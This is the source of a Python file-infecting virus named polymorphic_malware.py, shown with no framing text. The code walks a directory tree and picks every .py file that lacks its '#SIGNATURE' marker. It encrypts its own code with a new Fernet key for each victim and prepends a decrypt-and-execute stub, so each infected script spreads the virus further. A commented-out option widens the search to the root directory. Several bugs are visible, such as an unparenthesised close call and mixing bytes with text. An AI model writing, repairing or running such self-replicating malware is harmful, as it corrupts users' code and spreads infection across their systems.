polymorphic_malware.py

import os, datetime, inspect, base64, pty, socket;
from cryptography.fernet import Fernet; 

# Signature to prevent reinfection
DATA_TO_INSERT = "#SIGNATURE"; 

# Search for .py files to infect
def search(path):
    filestoinfect = [];
    filelist = os.listdir(path);
    for filename in filelist:
        if os.path.isdir(path+"/"+filename):
            filestoinfect.extend(search(path+"/"+filename));
        elif filename[-3:] == ".py": #If it is a python script -> Infect it
            infected = False; 
            for line in open(path+"/"+filename):
                if DATA_TO_INSERT in line: #If the file is already infected -> Break the loop
                    infected = True;
                    break;
            if infected == False:
                 filestoinfect.append(path+"/"+filename);
    return filestoinfect;

# Infect files
def infect(filestoinfect): 
    target_file = inspect.currentframe().f_code.co_filename; 
    virus = open(os.path.abspath(target_file));
    virusstring = "";
    # Copy the entire virus to virusstring 
    for i,line in enumerate(virus):
        if i>=0 and i <60:
            virusstring += line;
    virus.close;

    decrypt_header = "from cryptography.fernet import Fernet; import os";
    transfer = 'f = open("/path/to/directory/virus.py", "a");f.write(x);f.close();execfile("/path/to/directory/virus.py");os.remove("/path/to/directory/virus.py")' #Required for the copy to be able to execute itself.
    
    # Generate a new cipher suite for each infected fille
    for fname in filestoinfect:
         key = Fernet.generate_key();
         cipher_suite = Fernet(key);
         f = open(fname);
         temp = f.read();
         f.close();
         f = open(fname,"w");
         encrypted_virusstring = cipher_suite.encrypt(virusstring)
         decrypt = "x = cipher_suite.decrypt(encrypted_virusstring)";
         f.write(DATA_TO_INSERT + '\n' + decrypt_header + '\n' + "key = " + ' " ' + key + ' " ' + '\n' + "cipher_suite = Fernet(key)" + '\n' + "encrypted_virusstring = " +  ' " ' + encrypted_virusstring + ' " ' '\n' +  decrypt + '\n' + transfer + '\n' + temp);
         f.close();

# Infect files from the root directory
#filestoinfect = search(os.path.abspath(""))

# Infect files only in a specific folder
filestoinfect = search("/path/to/directory"); 

infect(filestoinfect);